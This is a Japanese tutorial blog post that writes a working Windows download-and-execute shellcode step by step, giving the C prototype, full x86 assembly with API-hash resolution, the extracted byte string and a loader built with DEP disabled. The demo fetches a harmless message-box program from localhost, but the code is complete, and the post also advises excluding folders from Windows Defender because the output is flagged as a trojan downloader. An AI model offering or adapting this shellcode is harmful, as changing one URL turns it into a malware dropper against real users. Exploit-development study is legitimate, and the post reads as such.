Windowsでdownload-execシェルコードを書いてみる

「Windowsでconnect-backシェルコードを書いてみる」ではプログラムがWinsockを利用していることを前提に、connect-back shellを起動するシェルコードを書いた。 この他に、Windowsではインターネットから実行ファイルをダウンロードし実行するシェルコードが一般に知られており、これはdownload-execシェルコードなどと呼ばれる。 ここでは、download-execシェルコードを作成し、これを使って適当に用意した実行ファイルを起動してみる。

環境

Windows 8.1 Pro 64 bit版、Visual Studio Community 2013 with Update 4

>systeminfo
OS 名:                  Microsoft Windows 8.1 Pro
OS バージョン:          6.3.9600 N/A ビルド 9600
OS 製造元:              Microsoft Corporation
システムの種類:         x64-based PC
プロセッサ:             1 プロセッサインストール済みです。
                        [01]: Intel64 Family 6 Model 69 Stepping 1 GenuineIntel ~758 Mhz

>cl
Microsoft (R) C/C++ Optimizing Compiler Version 18.00.31101 for x86

>ml
Microsoft (R) Macro Assembler Version 12.00.31101.0

>dumpbin
Microsoft (R) COFF/PE Dumper Version 12.00.31101.0

C言語で書いてみる

WindowsにおいてHTTPでファイルをダウンロードして保存するAPI関数に、urlmon.dllで実装されているURLDownloadToFile関数がある。 これを使い、C言語で実行ファイルをダウンロードし実行するプログラムを書くと次のようになる。

/* downloadexec.c */
#include <windows.h>
#pragma comment(lib, "urlmon")

int main()
{
    char *url = "http://localhost/a.exe";
    char *path = "C:\\Windows\\Temp\\a.exe";
    URLDownloadToFile(NULL, url, path, 0, NULL);
    WinExec(path, SW_HIDE);
    ExitProcess(0);
}

合わせてダウンロード実行されるプログラムとして、最前面でダイアログボックスを表示する単純なプログラムを書いておく。

/* messagebox.c */
#include <windows.h>
#pragma comment(lib, "user32")

int main()
{
    MessageBox(NULL, "ALL YOUR BASE ARE BELONG TO US.", "CATS", MB_SYSTEMMODAL);
    ExitProcess(0);
}

それぞれコンパイルし、ダウンロード対象のプログラムについてはリネームする。

>cl downloadexec.c

>cl messagebox.c

>move messagebox.exe a.exe

HTTPでダウンロード対象のプログラムを公開し、実際にダウンロード実行を行ってみる。 HTTPサーバはどのようなものでもよいが、ここではCygwinに付属するPythonを使うことにする。

$ python -mSimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...
>downloadexec.exe

実行の結果、HTTPサーバにある実行ファイルがダウンロード実行され、ダイアログボックスが表示されることが確認できる。

シェルコードを書いてみる

「Windowsで電卓を起動するシェルコードを書いてみる」で利用したhashcalc.exeおよびapi_callルーチンを用いて、シェルコードを書くと次のようになる。

; downloadexec.asm
.386
.model flat, stdcall
.code

start:
    cld
    jmp main

api_call:
    assume fs:nothing
    pushad
    xor eax, eax
    mov eax, fs:[eax+30h]   ; PEB
    mov eax, [eax+0ch]      ; Ldr
    mov esi, [eax+14h]      ; InMemoryOrderModuleList
next_mod:
    lodsd                   ; next _LDR_DATA_TABLE_ENTRY
    mov [esp+1ch], eax      ; store eax
    mov ebp, [eax+10h]      ; DllBase
    mov eax, [ebp+3ch]      ; IMAGE_DOS_HEADER.e_lfanew
    mov edx, [ebp+eax+78h]  ; IMAGE_EXPORT_DIRECTORY
    add edx, ebp
    mov ecx, [edx+18h]      ; NumberOfNames
    mov ebx, [edx+20h]      ; AddressOfNames
    add ebx, ebp
next_name:                  ; while (--NumberOfNames)
    jecxz name_not_found
    dec ecx
    mov esi, [ebx+ecx*4]    ; ptr = AddressOfNames[NumberOfNames]
    add esi, ebp
    xor edi, edi            ; hash = 0
    xor eax, eax
compute_hash_loop:          ; while ((c = *(ptr++)) != 0)
    lodsb
    test al, al
    jz compare_hash
    ror edi, 0dh            ; hash += ror(c, 0x0d)
    add edi, eax
    jmp compute_hash_loop
compare_hash:
    cmp edi, [esp+24h]      ; compare with api hash
    jnz next_name
    mov ebx, [edx+24h]      ; AddressOfNameOrdinals
    add ebx, ebp
    mov cx, [ebx+ecx*2]     ; y = AddressOfNameOrdinals[x]
    mov ebx, [edx+1ch]      ; AddressOfFunctions
    add ebx, ebp
    mov eax, [ebx+ecx*4]    ; AddressOfFunctions[y]
    add eax, ebp
    mov [esp+1ch], eax      ; store eax
    popad
    pop ecx                 ; remove api hash from the stack
    pop edx
    push ecx
    jmp eax                 ; jump to api function
name_not_found:
    mov esi, [esp+1ch]      ; update eax
    jmp next_mod

main:
    xor edx, edx
    mov dx, 6e6fh
    push edx
    push 6d6c7275h          ; "urlmon"
    push esp
    push 0ec0e4e8eh         ; LoadLibraryA
    call api_call

    jmp caller_url
callee_url:
    pop esi
    jmp caller_path
callee_path:
    pop edi
    xor ebx, ebx
    push ebx
    push ebx
    push edi
    push esi
    push ebx
    push 702f1a36h          ; URLDownloadToFileA
    call api_call

    push ebx
    push edi
    push 0e8afe98h          ; WinExec
    call api_call

    push ebx
    push 73e2d87eh          ; ExitProcess
    call api_call

caller_url:
    call callee_url
    db "http://localhost/a.exe",0
caller_path:
    call callee_path
    db "C:\\Windows\\Temp\\a.exe",0

end start

上のコードでは、まずLoadLibraryA関数でurlmon.dllをロードした後、URLDownloadToFileA関数とWinExec関数を使いファイルをダウンロード実行する。 また、文字列部分にNUL文字が含まれているが、これについては必要であれば適当な文字からNUL文字に書き換える、あるいはエンコードされたシェルコード全体をデコードする処理を書けばよい。

コードをアセンブルしてみる。 なお、Windows Defenderでは生成される実行ファイルがTrojanDownloader:Win32/Small.gen!Bとして検知されるため、あらかじめフォルダの除外設定などをしておく必要がある。

>ml downloadexec.asm /link /subsystem:console
Microsoft (R) Macro Assembler Version 12.00.31101.0
Copyright (C) Microsoft Corporation.  All rights reserved.

 Assembling: downloadexec.asm
Microsoft (R) Incremental Linker Version 12.00.31101.0
Copyright (C) Microsoft Corporation.  All rights reserved.

/OUT:downloadexec.exe
downloadexec.obj
/subsystem:console

ディスアセンブルして対応するバイト列を表示し、これをC文字列に変換してみる。

>dumpbin /rawdata downloadexec.exe
Microsoft (R) COFF/PE Dumper Version 12.00.31101.0
Copyright (C) Microsoft Corporation.  All rights reserved.


Dump of file downloadexec.exe

File Type: EXECUTABLE IMAGE

RAW DATA #1
  00401000: FC EB 67 60 33 C0 64 8B 40 30 8B 40 0C 8B 70 14  üëg`3Àd.@0.@..p.
  00401010: AD 89 44 24 1C 8B 68 10 8B 45 3C 8B 54 28 78 03  ­.D$..h..E<.T(x.
  00401020: D5 8B 4A 18 8B 5A 20 03 DD E3 39 49 8B 34 8B 03  Õ.J..Z .Ýã9I.4..
  00401030: F5 33 FF 33 C0 AC 84 C0 74 07 C1 CF 0D 03 F8 EB  õ3ÿ3À¬.Àt.ÁÏ..øë
  00401040: F4 3B 7C 24 24 75 E2 8B 5A 24 03 DD 66 8B 0C 4B  ô;|$$uâ.Z$.Ýf..K
  00401050: 8B 5A 1C 03 DD 8B 04 8B 03 C5 89 44 24 1C 61 59  .Z..Ý....Å.D$.aY
  00401060: 5A 51 FF E0 8B 74 24 1C EB A6 33 D2 66 BA 6F 6E  ZQÿà.t$.ë¦3Òfºon
  00401070: 52 68 75 72 6C 6D 54 68 8E 4E 0E EC E8 82 FF FF  RhurlmTh.N.ìè.ÿÿ
  00401080: FF EB 2C 5E EB 45 5F 33 DB 53 53 57 56 53 68 36  ÿë,^ëE_3ÛSSWVSh6
  00401090: 1A 2F 70 E8 6B FF FF FF 53 57 68 98 FE 8A 0E E8  ./pèkÿÿÿSWh.þ..è
  004010A0: 5F FF FF FF 53 68 7E D8 E2 73 E8 54 FF FF FF E8  _ÿÿÿSh~ØâsèTÿÿÿè
  004010B0: CF FF FF FF 68 74 74 70 3A 2F 2F 6C 6F 63 61 6C  Ïÿÿÿhttp://local
  004010C0: 68 6F 73 74 2F 61 2E 65 78 65 00 E8 B6 FF FF FF  host/a.exe.è¶ÿÿÿ
  004010D0: 43 3A 5C 5C 57 69 6E 64 6F 77 73 5C 5C 54 65 6D  C:\\Windows\\Tem
  004010E0: 70 5C 5C 61 2E 65 78 65 00                       p\\a.exe.

  Summary

        1000 .text

>dumpbin /rawdata downloadexec.exe | powershell -ex remotesigned -f getsc.ps1
\xFC\xEB\x67\x60\x33\xC0\x64\x8B\x40\x30\x8B\x40\x0C\x8B\x70\x14\xAD\x89\x44\x24\x1C\x8B\x68\x10\x8B\x45\x3C\x8B\x54\x28\x78\x03\xD5\x8B\x4A\x18\x8B\x5A\x20\x03\xDD\xE3\x39\x49\x8B\x34\x8B\x03\xF5\x33\xFF\x33\xC0\xAC\x84\xC0\x74\x07\xC1\xCF\x0D\x03\xF8\xEB\xF4\x3B\x7C\x24\x24\x75\xE2\x8B\x5A\x24\x03\xDD\x66\x8B\x0C\x4B\x8B\x5A\x1C\x03\xDD\x8B\x04\x8B\x03\xC5\x89\x44\x24\x1C\x61\x59\x5A\x51\xFF\xE0\x8B\x74\x24\x1C\xEB\xA6\x33\xD2\x66\xBA\x6F\x6E\x52\x68\x75\x72\x6C\x6D\x54\x68\x8E\x4E\x0E\xEC\xE8\x82\xFF\xFF\xFF\xEB\x2C\x5E\xEB\x45\x5F\x33\xDB\x53\x53\x57\x56\x53\x68\x36\x1A\x2F\x70\xE8\x6B\xFF\xFF\xFF\x53\x57\x68\x98\xFE\x8A\x0E\xE8\x5F\xFF\xFF\xFF\x53\x68\x7E\xD8\xE2\x73\xE8\x54\xFF\xFF\xFF\xE8\xCF\xFF\xFF\xFF\x68\x74\x74\x70\x3A\x2F\x2F\x6C\x6F\x63\x61\x6C\x68\x6F\x73\x74\x2F\x61\x2E\x65\x78\x65\x00\xE8\xB6\xFF\xFF\xFF\x43\x3A\x5C\x5C\x57\x69\x6E\x64\x6F\x77\x73\x5C\x5C\x54\x65\x6D\x70\x5C\x5C\x61\x2E\x65\x78\x65\x00

シェルコードを実行してみる

上のバイト列にジャンプするC言語コードを書いてみると次のようになる。

/* loader.c */
#include <stdio.h>
#include <string.h>

int main()
{
    char code[] = "\xFC\xEB\x67\x60\x33\xC0\x64\x8B\x40\x30\x8B\x40\x0C\x8B\x70\x14\xAD\x89\x44\x24\x1C\x8B\x68\x10\x8B\x45\x3C\x8B\x54\x28\x78\x03\xD5\x8B\x4A\x18\x8B\x5A\x20\x03\xDD\xE3\x39\x49\x8B\x34\x8B\x03\xF5\x33\xFF\x33\xC0\xAC\x84\xC0\x74\x07\xC1\xCF\x0D\x03\xF8\xEB\xF4\x3B\x7C\x24\x24\x75\xE2\x8B\x5A\x24\x03\xDD\x66\x8B\x0C\x4B\x8B\x5A\x1C\x03\xDD\x8B\x04\x8B\x03\xC5\x89\x44\x24\x1C\x61\x59\x5A\x51\xFF\xE0\x8B\x74\x24\x1C\xEB\xA6\x33\xD2\x66\xBA\x6F\x6E\x52\x68\x75\x72\x6C\x6D\x54\x68\x8E\x4E\x0E\xEC\xE8\x82\xFF\xFF\xFF\xEB\x2C\x5E\xEB\x45\x5F\x33\xDB\x53\x53\x57\x56\x53\x68\x36\x1A\x2F\x70\xE8\x6B\xFF\xFF\xFF\x53\x57\x68\x98\xFE\x8A\x0E\xE8\x5F\xFF\xFF\xFF\x53\x68\x7E\xD8\xE2\x73\xE8\x54\xFF\xFF\xFF\xE8\xCF\xFF\xFF\xFF\x68\x74\x74\x70\x3A\x2F\x2F\x6C\x6F\x63\x61\x6C\x68\x6F\x73\x74\x2F\x61\x2E\x65\x78\x65\x00\xE8\xB6\xFF\xFF\xFF\x43\x3A\x5C\x5C\x57\x69\x6E\x64\x6F\x77\x73\x5C\x5C\x54\x65\x6D\x70\x5C\x5C\x61\x2E\x65\x78\x65\x00";
    printf("strlen(code) = %d\n", strlen(code));
    (*(void (*)())code)();
    return 0;
}

HTTPでダウンロード対象のプログラムを公開しておく。

$ python -mSimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...

上のC言語コードをDEP無効でコンパイルして実行してみる。

>cl loader.c /link /nxcompat:no

>loader.exe
strlen(code) = 202

シェルコードの実行によりファイルがダウンロード実行され、ダイアログボックスが表示されることが確認できる。 このシェルコードの長さは202バイトである。

f:id:inaz2:20150810115235p:plain

関連リンク